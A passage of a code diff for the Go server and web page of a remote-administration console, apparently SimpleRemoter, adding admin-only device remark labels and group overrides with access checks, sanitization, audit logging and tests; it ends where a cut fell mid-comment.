// TestDeviceNotesBadFileRefusesWrites: a file that cannot be parsed must not
|
||||
// be replaced by the first save (that would destroy every remark in it).
|
||||
func TestDeviceNotesBadFileRefusesWrites(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "device_notes.json")
|
||||
bad := []byte("{not json")
|
||||
if err := os.WriteFile(path, bad, 0644); err != nil {
|
||||
t.Fatalf("seed: %v", err)
|
||||
}
|
||||
notes := NewDeviceNotes(path)
|
||||
if err := notes.Load(); err == nil {
|
||||
t.Fatal("Load accepted a malformed file")
|
||||
}
|
||||
if err := notes.Set("dev-1", "x", "admin"); err == nil {
|
||||
t.Fatal("Set wrote over a file that failed to load")
|
||||
}
|
||||
if err := notes.Remove("dev-1"); err == nil {
|
||||
t.Fatal("Remove wrote over a file that failed to load")
|
||||
}
|
||||
if got, _ := os.ReadFile(path); string(got) != string(bad) {
|
||||
t.Fatalf("original file was modified: %q", got)
|
||||
}
|
||||
|
||||
// A newer on-disk version is refused the same way.
|
||||
future, err := json.Marshal(deviceNotesFile{Version: deviceNotesFileVersion + 1,
|
||||
Devices: map[string]DeviceNoteEntry{"dev-1": {Note: "x"}}})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal future file: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(path, future, 0644); err != nil {
|
||||
t.Fatalf("seed future: %v", err)
|
||||
}
|
||||
futureNotes := NewDeviceNotes(path)
|
||||
if err := futureNotes.Load(); err == nil {
|
||||
t.Fatal("Load accepted a newer file version")
|
||||
}
|
||||
if err := futureNotes.Set("dev-1", "y", "admin"); err == nil {
|
||||
t.Fatal("Set wrote over a newer file version")
|
||||
}
|
||||
if got, _ := os.ReadFile(path); string(got) != string(future) {
|
||||
t.Fatal("newer file was modified")
|
||||
}
|
||||
}
|
||||
|
||||
// TestDeviceNotesLoadAppliesInvariants: values read back from disk go through
|
||||
// the same sanitize + rune cap as Set, so a restored file cannot put a
|
||||
// multi-line or over-long label on a card.
|
||||
func TestDeviceNotesLoadAppliesInvariants(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "device_notes.json")
|
||||
long := "Reception\nPC " + strings.Repeat("x", MaxRemarkRunes)
|
||||
data, err := json.Marshal(deviceNotesFile{Version: deviceNotesFileVersion,
|
||||
Devices: map[string]DeviceNoteEntry{"dev-1": {Note: long}}})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(path, data, 0644); err != nil {
|
||||
t.Fatalf("seed: %v", err)
|
||||
}
|
||||
notes := NewDeviceNotes(path)
|
||||
if err := notes.Load(); err != nil {
|
||||
t.Fatalf("Load: %v", err)
|
||||
}
|
||||
got := notes.Note("dev-1")
|
||||
if strings.ContainsAny(got, "\r\n\t") {
|
||||
t.Fatalf("loaded remark kept control characters: %q", got)
|
||||
}
|
||||
if n := utf8.RuneCountInString(got); n != MaxRemarkRunes {
|
||||
t.Fatalf("loaded remark has %d runes, want %d", n, MaxRemarkRunes)
|
||||
}
|
||||
if !strings.HasPrefix(got, "Reception PC ") {
|
||||
t.Fatalf("loaded remark lost its prefix: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSetDeviceRemarkPermissions: viewers cannot edit, and an admin that the
|
||||
// ACL does not let see a private device cannot edit it either.
|
||||
func TestSetDeviceRemarkPermissions(t *testing.T) {
|
||||
wh, _, _ := aclTestHub(t)
|
||||
wh.withDeviceNotes(NewDeviceNotes(""))
|
||||
|
||||
attempt := func(c *wsClient, tok, id string) map[string]any {
|
||||
raw, _ := json.Marshal(map[string]any{"token": tok, "id": id, "remark": "x"})
|
||||
wh.dispatch(c, "set_device_remark", raw)
|
||||
return readUntilCmd(t, c, "set_device_remark_result")
|
||||
}
|
||||
|
||||
cv, tokv := aclTestClient(t, wh, "viewer1", "viewer")
|
||||
if res := attempt(cv, tokv, "pub"); res["ok"] == true {
|
||||
t.Fatal("viewer was allowed to edit a remark")
|
||||
}
|
||||
|
||||
// a-dev is bound to a@corp.com; another admin cannot see it, so the server
|
||||
// must refuse to label it as well.
|
||||
ca, toka := aclTestClient(t, wh, "other-admin", "admin")
|
||||
if res := attempt(ca, toka, "a-dev"); res["ok"] == true {
|
||||
t.Fatal("admin without device access was allowed to edit a remark")
|
||||
}
|
||||
|
||||
// The superadmin can label any device.
|
||||
cs, toks := aclTestClient(t, wh, "admin", "admin")
|
||||
if res := attempt(cs, toks, "a-dev"); res["ok"] != true {
|
||||
t.Fatalf("superadmin was refused: %v", res)
|
||||
}
|
||||
}
|
||||
@@ -33,6 +33,8 @@ type Server struct {
|
||||
auth *wsauth.Authenticator
|
||||
history *devicehistory.Store // nil → no offline devices
|
||||
deviceACL *DeviceACL // nil → no per-device owner filtering
|
||||
deviceNotes *DeviceNotes // nil → no "edit remark" entry in the UI
|
||||
deviceGroups *DeviceGroups // nil → no "edit group" entry in the UI
|
||||
ws *wsHub
|
||||
allowedOrigins []string // for WS Origin allowlist; empty = same-origin only
|
||||
loginIPLimit *wsauth.RateLimiter
|
||||
@@ -96,6 +98,15 @@ type Config struct {
|
||||
// behaviour: every authenticated session sees every device). The shipped
|
||||
// server always wires one; tests may omit it.
|
||||
DeviceACL *DeviceACL
|
||||
// DeviceNotes is the per-device remark table rendered on the card as
|
||||
// "hostname (remark)". nil disables the "edit remark" menu entry: the
|
||||
// device_list reply reports remarkEdit only when this is wired, so the
|
||||
// shared page hides the action on a backend that does not implement it
|
||||
// (the MFC server).
|
||||
DeviceNotes *DeviceNotes
|
||||
// DeviceGroups is the per-device group override table. nil disables the
|
||||
// "edit group" menu entry the same way (device_list reports groupEdit).
|
||||
DeviceGroups *DeviceGroups
|
||||
// TransferTarget ("host:port") and TransferDays pre-fill the web UI's
|
||||
// "transfer host" dialog. Reporting them is also what tells the shared
|
||||
// page that this backend implements COMMAND_ASSIGN_MASTER — the MFC server
|
||||
@@ -138,6 +149,8 @@ func (s *Server) WithConfig(cfg Config) *Server {
|
||||
s.brandName = resolveBrandName(cfg.BrandName, s.basePath)
|
||||
s.sso = cfg.SSO
|
||||
s.deviceACL = cfg.DeviceACL
|
||||
s.deviceNotes = cfg.DeviceNotes
|
||||
s.deviceGroups = cfg.DeviceGroups
|
||||
s.transferTarget = cfg.TransferTarget
|
||||
s.transferDays = cfg.TransferDays
|
||||
s.transferTransport = cfg.TransferTransport
|
||||
@@ -166,6 +179,8 @@ func (s *Server) Start() error {
|
||||
withLoginRateLimiters(s.loginIPLimit, s.loginUserLimit).
|
||||
withTrustForwardedFor(s.trustForwardedFor).
|
||||
withDeviceACL(s.deviceACL).
|
||||
withDeviceNotes(s.deviceNotes).
|
||||
withDeviceGroups(s.deviceGroups).
|
||||
withTransferDefaults(s.transferTarget, s.transferDays, s.transferTransport)
|
||||
|
||||
mux := http.NewServeMux()
|
||||
|
||||
@@ -161,6 +161,8 @@ type wsHub struct {
|
||||
devices *hub.Hub
|
||||
history *devicehistory.Store // nil → device_list stays online-only
|
||||
acl *DeviceACL // nil → every device is public (tests/embedders)
|
||||
notes *DeviceNotes // nil → no "edit remark" entry (MFC backend)
|
||||
groups *DeviceGroups // nil → no "edit group" entry (MFC backend)
|
||||
log *logger.Logger
|
||||
|
||||
mu sync.RWMutex
|
||||
@@ -237,6 +239,24 @@ func (h *wsHub) withDeviceACL(acl *DeviceACL) *wsHub {
|
||||
return h
|
||||
}
|
||||
|
||||
// withDeviceNotes installs the per-device remark table. A nil table disables
|
||||
// "edit remark": its presence is what the device_list reply reports as
|
||||
// remarkEdit, so the shared page only offers the menu entry on a backend that
|
||||
// implements it (the MFC server does not).
|
||||
func (h *wsHub) withDeviceNotes(notes *DeviceNotes) *wsHub {
|
||||
h.notes = notes
|
||||
return h
|
||||
}
|
||||
|
||||
// withDeviceGroups installs the per-device group override table. A nil table
|
||||
// disables "edit group": its presence is what the device_list reply reports as
|
||||
// groupEdit, so the shared page only offers the menu entry on a backend that
|
||||
// implements it (the MFC server does not).
|
||||
func (h *wsHub) withDeviceGroups(groups *DeviceGroups) *wsHub {
|
||||
h.groups = groups
|
||||
return h
|
||||
}
|
||||
|
||||
// withTransferDefaults installs the pre-filled target/days and the link type
|
||||
// (protocol.TransferTransport*) for the web UI's "transfer host" dialog. An
|
||||
// empty target still enables the feature: the operator types the address in
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/yuanyuanxiang/SimpleRemoter/server/go/hub"
|
||||
"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
|
||||
@@ -103,6 +104,10 @@ func (h *wsHub) dispatch(c *wsClient, cmd string, raw []byte) {
|
||||
h.handleBindDevice(c, raw)
|
||||
case "unbind_device":
|
||||
h.handleUnbindDevice(c, raw)
|
||||
case "set_device_remark":
|
||||
h.handleSetDeviceRemark(c, raw)
|
||||
case "set_device_group":
|
||||
h.handleSetDeviceGroup(c, raw)
|
||||
case "get_groups":
|
||||
h.handleGetGroups(c, raw)
|
||||
case "query_audit":
|
||||
@@ -121,6 +126,16 @@ func (h *wsHub) dispatch(c *wsClient, cmd string, raw []byte) {
|
||||
}
|
||||
}
|
||||
|
||||
// deviceExists reports whether id is online or has a history record. Handlers
|
||||
// that write per-device side tables use it so a stale card (the device was
|
||||
// deleted between render and save) cannot create an orphan entry.
|
||||
func (h *wsHub) deviceExists(id string) bool {
|
||||
if h.devices.IsOnline(id) {
|
||||
return true
|
||||
}
|
||||
return h.history != nil && h.history.Has(id)
|
||||
}
|
||||
|
||||
// requireAdmin combines token validation with a role=="admin" check. The
|
||||
// reply on failure has the standard `{cmd, ok:false, msg}` shape so the
|
||||
// front-end's generic toast handler can surface the reason.
|
||||
@@ -800,6 +815,12 @@ func (h *wsHub) handleGetDevices(c *wsClient, raw []byte) {
|
||||
"target": h.transferTarget,
|
||||
"days": h.transferDays,
|
||||
},
|
||||
// Same convention for "edit remark": only a backend that wires a
|
||||
// remark table reports it, so the shared page hides the menu entry
|
||||
// on the MFC server.
|
||||
"remarkEdit": h.notes != nil,
|
||||
// ... and for "edit group", which only the Go server implements.
|
||||
"groupEdit": h.groups != nil,
|
||||
}))
|
||||
}
|
||||
|
||||
@@ -809,6 +830,13 @@ func (h *wsHub) handleGetDevices(c *wsClient, raw []byte) {
|
||||
type deviceListItem struct {
|
||||
hub.DeviceInfo
|
||||
Owner string `json:"owner,omitempty"`
|
||||
// Remark is the operator's label for this host, rendered as
|
||||
// "hostname (remark)" on the card. Set by the Go web console only.
|
||||
Remark string `json:"remark,omitempty"`
|
||||
// GroupOverride marks Group as a web-console override rather than the
|
||||
// group the host reported, so the edit dialog can prefill without turning
|
||||
// the reported value into a permanent override.
|
||||
GroupOverride bool `json:"groupOverride,omitempty"`
|
||||
// TransferTo / TransferUntil carry the "handed over to another master"
|
||||
// marker so the card can say where the host went and how long it stays
|
||||
// there. Absent for a host that was never transferred.
|
||||
@@ -821,6 +849,17 @@ type deviceListItem struct {
|
||||
// is either public or owned by the caller, so the field adds nothing.
|
||||
func (h *wsHub) listVisibleDevices(c *wsClient) []deviceListItem {
|
||||
all := h.listDevicesWithOffline()
|
||||
// One snapshot instead of a read lock per device: Set holds the write
|
||||
// lock across the temp-file fsync + rename, and a slow disk must not
|
||||
// block every console's device list.
|
||||
var remarks map[string]DeviceNoteEntry
|
||||
if h.notes != nil {
|
||||
remarks = h.notes.Snapshot()
|
||||
}
|
||||
var groups map[string]string
|
||||
if h.groups != nil {
|
||||
groups = h.groups.Groups()
|
||||
}
|
||||
out := make([]deviceListItem, 0, len(all))
|
||||
for _, d := range all {
|
||||
if !h.canAccessDevice(c, d.ID) {
|
||||
@@ -831,6 +870,15 @@ func (h *wsHub) listVisibleDevices(c *wsClient) []deviceListItem {
|
||||
owner = h.acl.Owner(d.ID)
|
||||
}
|
||||
item := deviceListItem{DeviceInfo: d, Owner: owner}
|
||||
if remarks != nil {
|
||||
item.Remark = remarks[d.ID].Note
|
||||
}
|
||||
// A web-console group override wins over the group the host reported
|
||||
// at login (and over the group stored in the offline history record).
|
||||
if g := groups[d.ID]; g != "" {
|
||||
item.DeviceInfo.Group = g
|
||||
item.GroupOverride = true
|
||||
}
|
||||
if h.history != nil {
|
||||
if target, until, ok := h.history.Transfer(d.ID); ok {
|
||||
item.TransferTo, item.TransferUntil = target, until
|
||||
@@ -1281,6 +1329,8 @@ func (h *wsHub) handleDeleteDevice(c *wsClient, raw []byte) {
|
||||
// The device is gone; its binding must not survive a later
|
||||
// client that happens to reuse the same ID.
|
||||
h.dropDeviceBinding(in.ID)
|
||||
h.dropDeviceNote(in.ID)
|
||||
h.dropDeviceGroup(in.ID)
|
||||
h.audit(c, false, auditDeviceAdmin, map[string]any{
|
||||
"device_id": in.ID,
|
||||
"mode": "uninstall",
|
||||
@@ -1322,6 +1372,8 @@ func (h *wsHub) handleDeleteDevice(c *wsClient, raw []byte) {
|
||||
return
|
||||
}
|
||||
h.dropDeviceBinding(in.ID)
|
||||
h.dropDeviceNote(in.ID)
|
||||
h.dropDeviceGroup(in.ID)
|
||||
h.audit(c, false, auditDeviceAdmin, map[string]any{
|
||||
"device_id": in.ID,
|
||||
"mode": "removed",
|
||||
@@ -1573,16 +1625,21 @@ func (h *wsHub) handleListUsers(c *wsClient, raw []byte) {
|
||||
}))
|
||||
}
|
||||
|
||||
// handleGetGroups returns the deduplicated set of group labels currently
|
||||
// observed on online devices, plus a synthetic "default" entry that the
|
||||
// admin UI uses for ungrouped devices. Admin-only — non-admins don't get
|
||||
// to enumerate the device fleet's groups. Matches the contract of
|
||||
// CWebService::HandleGetGroups (WebService.cpp:1130).
|
||||
// handleGetGroups returns the deduplicated set of group labels the admin UI
|
||||
// can offer: Web-console overrides (including groups that exist only on
|
||||
// offline records) plus the groups online devices report, and a synthetic
|
||||
// "default" entry for ungrouped devices. A device whose group is overridden
|
||||
// contributes only the override, never its stale reported group. Admin-only —
|
||||
// non-admins don't get to enumerate the device fleet's groups.
|
||||
func (h *wsHub) handleGetGroups(c *wsClient, raw []byte) {
|
||||
const replyCmd = "groups"
|
||||
if !h.requireAdmin(c, raw, replyCmd) {
|
||||
return
|
||||
}
|
||||
var overrides map[string]string
|
||||
if h.groups != nil {
|
||||
overrides = h.groups.Groups()
|
||||
}
|
||||
seen := map[string]struct{}{"default": {}}
|
||||
for _, d := range h.devices.ListDevices() {
|
||||
// Group names are device metadata: do not reveal groups that only
|
||||
@@ -1590,12 +1647,23 @@ func (h *wsHub) handleGetGroups(c *wsClient, raw []byte) {
|
||||
if !h.canAccessDevice(c, d.ID) {
|
||||
continue
|
||||
}
|
||||
if overrides[d.ID] != "" {
|
||||
continue // the override loop below adds the effective group
|
||||
}
|
||||
g := d.Group
|
||||
if g == "" {
|
||||
g = "default"
|
||||
}
|
||||
seen[g] = struct{}{}
|
||||
}
|
||||
// Web-console overrides define groups too, including groups that only
|
||||
// exist on offline records; the per-device access check still applies.
|
||||
for id, g := range overrides {
|
||||
if g == "" || !h.canAccessDevice(c, id) {
|
||||
continue
|
||||
}
|
||||
seen[g] = struct{}{}
|
||||
}
|
||||
groups := make([]string, 0, len(seen))
|
||||
for g := range seen {
|
||||
groups = append(groups, g)
|
||||
@@ -1716,6 +1784,146 @@ func (h *wsHub) handleUnbindDevice(c *wsClient, raw []byte) {
|
||||
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": true, "count": len(ids)}))
|
||||
}
|
||||
|
||||
// handleSetDeviceRemark stores the free-text label shown on the device card
|
||||
// ("hostname (remark)"). Admin role only, and only for a device the caller can
|
||||
// access: the ACL keeps a private device out of other admins' cards, and the
|
||||
// server enforces the same rule so a hand-crafted request cannot label it
|
||||
// either. An empty remark clears the label.
|
||||
func (h *wsHub) handleSetDeviceRemark(c *wsClient, raw []byte) {
|
||||
const replyCmd = "set_device_remark_result"
|
||||
if !h.requireAdmin(c, raw, replyCmd) {
|
||||
return
|
||||
}
|
||||
var in struct {
|
||||
ID string `json:"id"`
|
||||
Remark string `json:"remark"`
|
||||
}
|
||||
id := ""
|
||||
fail := func(msg, reason string) {
|
||||
h.audit(c, true, auditDeviceRemark, map[string]any{
|
||||
"device_id": id,
|
||||
"ok": false,
|
||||
"reason": reason,
|
||||
"error": msg,
|
||||
})
|
||||
// id lets the page drop a late reply meant for a dialog it has since
|
||||
// closed and replaced with another device's.
|
||||
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": false, "id": id, "msg": msg}))
|
||||
}
|
||||
// An unparsable payload (e.g. a non-string remark) must be rejected, not
|
||||
// treated as an empty remark: empty clears the label.
|
||||
if err := json.Unmarshal(raw, &in); err != nil {
|
||||
fail("Invalid request", "invalid_request")
|
||||
return
|
||||
}
|
||||
id = strings.TrimSpace(in.ID)
|
||||
if id == "" {
|
||||
fail("Invalid device id", "invalid_id")
|
||||
return
|
||||
}
|
||||
if h.notes == nil {
|
||||
fail("Device remarks are not enabled on this server", "disabled")
|
||||
return
|
||||
}
|
||||
if h.denyIfNoDeviceAccess(c, id, replyCmd) {
|
||||
return
|
||||
}
|
||||
if !h.deviceExists(id) {
|
||||
fail("Device not found", "not_found")
|
||||
return
|
||||
}
|
||||
// Sanitize before the length check and the reply so the echoed value is
|
||||
// exactly what the store keeps (control characters folded to spaces).
|
||||
remark := sanitizeLabel(in.Remark)
|
||||
if utf8.RuneCountInString(remark) > MaxRemarkRunes {
|
||||
fail("Remark is too long (max "+strconv.Itoa(MaxRemarkRunes)+" characters)", "too_long")
|
||||
return
|
||||
}
|
||||
if err := h.notes.Set(id, remark, c.user); err != nil {
|
||||
fail("Failed to save remark: "+err.Error(), "save_failed")
|
||||
return
|
||||
}
|
||||
h.audit(c, false, auditDeviceRemark, map[string]any{
|
||||
"device_id": id,
|
||||
"ok": true,
|
||||
"cleared": remark == "",
|
||||
})
|
||||
// Every open console re-reads the list so the card shows the new label.
|
||||
h.broadcastAuthenticated(`{"cmd":"devices_changed"}`)
|
||||
c.queue(mustJSON(map[string]any{
|
||||
"cmd": replyCmd, "ok": true, "id": id, "remark": remark,
|
||||
}))
|
||||
}
|
||||
|
||||
// handleSetDeviceGroup sets the web-console group override for one device.
|
||||
// Admin role only, and only for a device the caller can access. An empty group
|
||||
// clears the override, so the device falls back to the group it reports.
|
||||
//
|
||||
// The override changes every Go-side view (device list, group filter, MCP) and
|
||||
// works for offline records, but it does not send CMD_SET_GROUP: the host keeps
|
||||
// reporting its own group to other masters.
|
||||
func (h *wsHub) handleSetDeviceGroup(c *wsClient, raw []byte) {
|
||||
const replyCmd = "set_device_group_result"
|
||||
if !h.requireAdmin(c, raw, replyCmd) {
|
||||
return
|
||||
}
|
||||
var in struct {
|
||||
ID string `json:"id"`
|
||||
Group string `json:"group"`
|
||||
}
|
||||
id := ""
|
||||
fail := func(msg, reason string) {
|
||||
h.audit(c, true, auditDeviceGroup, map[string]any{
|
||||
"device_id": id,
|
||||
"ok": false,
|
||||
"reason": reason,
|
||||
"error": msg,
|
||||
})
|
||||
// id lets the page drop a late reply meant for a dialog it has since
|
||||
// closed and replaced with another device's.
|
||||
c.queue(mustJSON(map[string]any{"cmd": replyCmd, "ok": false, "id": id, "msg": msg}))
|
||||
}
|
||||
if err := json.Unmarshal(raw, &in); err != nil {
|
||||
fail("Invalid request", "invalid_request")
|
||||
return
|
||||
}
|
||||
id = strings.TrimSpace(in.ID)
|
||||
if id == "" {
|
||||
fail("Invalid device id", "invalid_id")
|
||||
return
|
||||
}
|
||||
if h.groups == nil {
|
||||
fail("Device groups are not enabled on this server", "disabled")
|
||||
return
|
||||
}
|
||||
if h.denyIfNoDeviceAccess(c, id, replyCmd) {
|
||||
return
|
||||
}
|
||||
if !h.deviceExists(id) {
|
||||
fail("Device not found", "not_found")
|
||||
return
|
||||
}
|
||||
group := sanitizeLabel(in.Group)
|
||||
if utf8.RuneCountInString(group) > MaxGroupRunes {
|
||||
fail("Group is too long (max "+strconv.Itoa(MaxGroupRunes)+" characters)", "too_long")
|
||||
return
|
||||
}
|
||||
if err := h.groups.Set(id, group, c.user); err != nil {
|
||||
fail("Failed to save group: "+err.Error(), "save_failed")
|
||||
return
|
||||
}
|
||||
h.audit(c, false, auditDeviceGroup, map[string]any{
|
||||
"device_id": id,
|
||||
"ok": true,
|
||||
"cleared": group == "",
|
||||
})
|
||||
// Every open console re-reads the list so the card and group filter move.
|
||||
h.broadcastAuthenticated(`{"cmd":"devices_changed"}`)
|
||||
c.queue(mustJSON(map[string]any{
|
||||
"cmd": replyCmd, "ok": true, "id": id, "group": group,
|
||||
}))
|
||||
}
|
||||
|
||||
// normalizeDeviceIDs merges the batch and single-device forms, trims blanks
|
||||
// and dedupes while preserving order.
|
||||
func normalizeDeviceIDs(ids []string, single string) []string {
|
||||
@@ -1814,6 +2022,27 @@ func (h *wsHub) dropDeviceBinding(deviceID string) {
|
||||
}
|
||||
}
|
||||
|
||||
// dropDeviceNote removes the remark together with the device record, so a
|
||||
// future client that reuses the same ID starts with a clean card.
|
||||
func (h *wsHub) dropDeviceNote(deviceID string) {
|
||||
if h.notes == nil {
|
||||
return
|
||||
}
|
||||
if err := h.notes.Remove(deviceID); err != nil {
|
||||
h.log.Warn("device remark remove failed for %s: %v", deviceID, err)
|
||||
}
|
||||
}
|
||||
|
||||
// dropDeviceGroup removes the group override together with the device record.
|
||||
func (h *wsHub) dropDeviceGroup(deviceID string) {
|
||||
if h.groups == nil {
|
||||
return
|
||||
}
|
||||
if err := h.groups.Remove(deviceID); err != nil {
|
||||
h.log.Warn("device group remove failed for %s: %v", deviceID, err)
|
||||
}
|
||||
}
|
||||
|
||||
// handleTermOpen kicks off a web terminal session. On success the wsClient
|
||||
// records `termWatching = deviceID` so subsequent term_input / term_resize
|
||||
// have a target, and the hub sends COMMAND_SHELL to the device. The
|
||||
|
||||
+198
-16
@@ -657,8 +657,8 @@
|
||||
max-width: 240px;
|
||||
flex-shrink: 1;
|
||||
}
|
||||
/* 卡片操作:右上角只留一个「…」按钮,点开才弹出菜单(终端 / 绑定 /
|
||||
转移 / 删除),菜单项带简短功能说明。独立于卡片本体点击事件
|
||||
/* 卡片操作:右上角只留一个「…」按钮,点开才弹出菜单(终端 / 备注 /
|
||||
分组 / 绑定 / 转移 / 删除),菜单项带简短功能说明。独立于卡片本体点击事件
|
||||
(onclick stopPropagation)。List 视图卡片是一行,按钮垂直居中。 */
|
||||
.device-card .card-actions {
|
||||
position: absolute;
|
||||
@@ -725,6 +725,8 @@
|
||||
margin-top: 1px;
|
||||
}
|
||||
.card-menu-item.term .card-menu-icon { color: #4caf50; }
|
||||
.card-menu-item.edit .card-menu-icon { color: #4dabf7; }
|
||||
.card-menu-item.group .card-menu-icon { color: #b197fc; }
|
||||
.card-menu-item.bind .card-menu-icon { color: #e67e22; }
|
||||
.card-menu-item.transfer .card-menu-icon { color: #d68910; }
|
||||
.card-menu-item.del .card-menu-icon { color: #e74c3c; }
|
||||
@@ -2193,7 +2195,7 @@
|
||||
</div>
|
||||
|
||||
<!-- Logout Confirmation Modal -->
|
||||
<div class="modal-overlay" id="logout-confirm-modal" onclick="if(event.target===this)cancelLogout()">
|
||||
<div class="modal-overlay" id="logout-confirm-modal">
|
||||
<div class="confirm-modal-content">
|
||||
<div class="confirm-modal-icon">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||
@@ -2212,7 +2214,7 @@
|
||||
</div>
|
||||
|
||||
<!-- Delete Device Confirmation Modal(离线=删除历史记录;在线=下发卸载主机) -->
|
||||
<div class="modal-overlay" id="delete-device-modal" onclick="if(event.target===this)cancelDeleteDevice()">
|
||||
<div class="modal-overlay" id="delete-device-modal">
|
||||
<div class="confirm-modal-content">
|
||||
<div class="confirm-modal-icon">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||
@@ -2232,7 +2234,7 @@
|
||||
</div>
|
||||
|
||||
<!-- Transfer Host Modal(仅 Go 后端:device_list 带 transfer 字段时才有入口) -->
|
||||
<div class="modal-overlay" id="transfer-device-modal" onclick="if(event.target===this)cancelTransferDevice()">
|
||||
<div class="modal-overlay" id="transfer-device-modal">
|
||||
<div class="modal-content" style="max-width:460px;">
|
||||
<div class="modal-header">
|
||||
<h3>Transfer Host</h3>
|
||||
@@ -2262,7 +2264,7 @@
|
||||
</div>
|
||||
|
||||
<!-- Device Binding Modal(仅内置 admin 超级管理员可见) -->
|
||||
<div class="modal-overlay" id="bind-device-modal" onclick="if(event.target===this)closeBindModal()">
|
||||
<div class="modal-overlay" id="bind-device-modal">
|
||||
<div class="modal-content" style="max-width:440px;">
|
||||
<div class="modal-header">
|
||||
<h3>Device Binding</h3>
|
||||
@@ -2289,10 +2291,62 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 修改备注(Go 后端):备注是卡片标题旁的显示标签 "hostname (备注)"。 -->
|
||||
<div class="modal-overlay" id="remark-device-modal">
|
||||
<div class="modal-content" style="max-width:440px;">
|
||||
<div class="modal-header">
|
||||
<h3>Edit Remark</h3>
|
||||
<button class="modal-close" onclick="closeRemarkModal()">×</button>
|
||||
</div>
|
||||
<div class="user-form">
|
||||
<div id="remark-device-name" style="font-size:13px;color:#aaa;margin-bottom:10px;"></div>
|
||||
<label style="font-size:13px;color:#aaa;display:block;margin:8px 0 4px;">
|
||||
Remark
|
||||
</label>
|
||||
<input type="text" id="remark-input" maxlength="64"
|
||||
placeholder="e.g. Reception PC" autocomplete="off">
|
||||
<div style="font-size:12px;color:#888;margin-top:8px;">
|
||||
Shown on the card as "hostname (remark)". Leave it empty to clear the remark.
|
||||
</div>
|
||||
<div style="display:flex;gap:8px;margin-top:14px;">
|
||||
<button onclick="confirmSetRemark()">Save</button>
|
||||
<button class="cancel-btn" onclick="closeRemarkModal()">Cancel</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 修改分组(Go 后端):覆盖主机上报的分组,仅影响本服务端的显示/过滤/MCP。 -->
|
||||
<div class="modal-overlay" id="group-device-modal">
|
||||
<div class="modal-content" style="max-width:440px;">
|
||||
<div class="modal-header">
|
||||
<h3>Edit Group</h3>
|
||||
<button class="modal-close" onclick="closeGroupModal()">×</button>
|
||||
</div>
|
||||
<div class="user-form">
|
||||
<div id="group-device-name" style="font-size:13px;color:#aaa;margin-bottom:10px;"></div>
|
||||
<label style="font-size:13px;color:#aaa;display:block;margin:8px 0 4px;">
|
||||
Group
|
||||
</label>
|
||||
<input type="text" id="group-input" list="group-options" maxlength="23"
|
||||
placeholder="e.g. Office" autocomplete="off">
|
||||
<datalist id="group-options"></datalist>
|
||||
<div style="font-size:12px;color:#888;margin-top:8px;">
|
||||
Changes how this server groups and filters the host. Leave it empty to use the
|
||||
group the host reports. Max 23 characters.
|
||||
</div>
|
||||
<div style="display:flex;gap:8px;margin-top:14px;">
|
||||
<button onclick="confirmSetGroup()">Save</button>
|
||||
<button class="cancel-btn" onclick="closeGroupModal()">Cancel</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Generic alert / confirmation dialog. Replaces native alert()/confirm():
|
||||
their button labels come from the browser locale (e.g. German on a
|
||||
German system) and do not match the app. -->
|
||||
<div class="modal-overlay" id="app-dialog" onclick="if(event.target===this)closeAppDialog(false)"
|
||||
<div class="modal-overlay" id="app-dialog"
|
||||
onkeydown="if(event.key==='Escape')closeAppDialog(false)">
|
||||
<div class="confirm-modal-content" id="app-dialog-content" role="dialog" aria-modal="true"
|
||||
aria-labelledby="app-dialog-title" aria-describedby="app-dialog-message">
|
||||
@@ -3020,6 +3074,9 @@
|
||||
// 只有实现了「转移主机」的后端(Go)才会带这个字段;
|
||||
// MFC 复用同一份页面但不下发它,按钮因此不会出现。
|
||||
transferCfg = msg.transfer || null;
|
||||
// 备注/分组编辑同理由后端能力位决定(Go 才有;MFC 页面不显示)。
|
||||
remarkEditAvailable = msg.remarkEdit === true;
|
||||
groupEditAvailable = msg.groupEdit === true;
|
||||
// Keep current page (renderDeviceList adjusts if out of range)
|
||||
renderDeviceList();
|
||||
renderWallSidebar();
|
||||
@@ -3339,6 +3396,25 @@
|
||||
appAlert(msg.msg || 'Failed to unbind device', 'Device Binding');
|
||||
}
|
||||
break;
|
||||
case 'set_device_remark_result':
|
||||
// 只收尾"当前开着的那台设备"的对话框:请求在飞时管理员可能
|
||||
// 已经取消并打开了另一台设备,迟到的回复不能把它关掉。列表
|
||||
// 刷新由服务端的 devices_changed 广播负责,这里不重复拉取。
|
||||
if (msg.id !== undefined && String(msg.id) !== pendingRemarkDeviceId) break;
|
||||
if (msg.ok) {
|
||||
closeRemarkModal();
|
||||
} else {
|
||||
appAlert(msg.msg || 'Failed to save remark', 'Edit Remark');
|
||||
}
|
||||
break;
|
||||
case 'set_device_group_result':
|
||||
if (msg.id !== undefined && String(msg.id) !== pendingGroupDeviceId) break;
|
||||
if (msg.ok) {
|
||||
closeGroupModal();
|
||||
} else {
|
||||
appAlert(msg.msg || 'Failed to save group', 'Edit Group');
|
||||
}
|
||||
break;
|
||||
case 'device_revoked': {
|
||||
// The superadmin bound this device to someone else while we
|
||||
// were watching it. Stop streaming immediately.
|
||||
@@ -5109,14 +5185,18 @@
|
||||
}
|
||||
|
||||
// ---- 卡片「…」操作菜单 ----
|
||||
// 无论有几个操作,卡片上只显示一个「…」;点开弹出的菜单里才是终端/绑定/
|
||||
// 转移/删除,每项带一句功能说明。菜单项在点击时按设备实时生成,权限和
|
||||
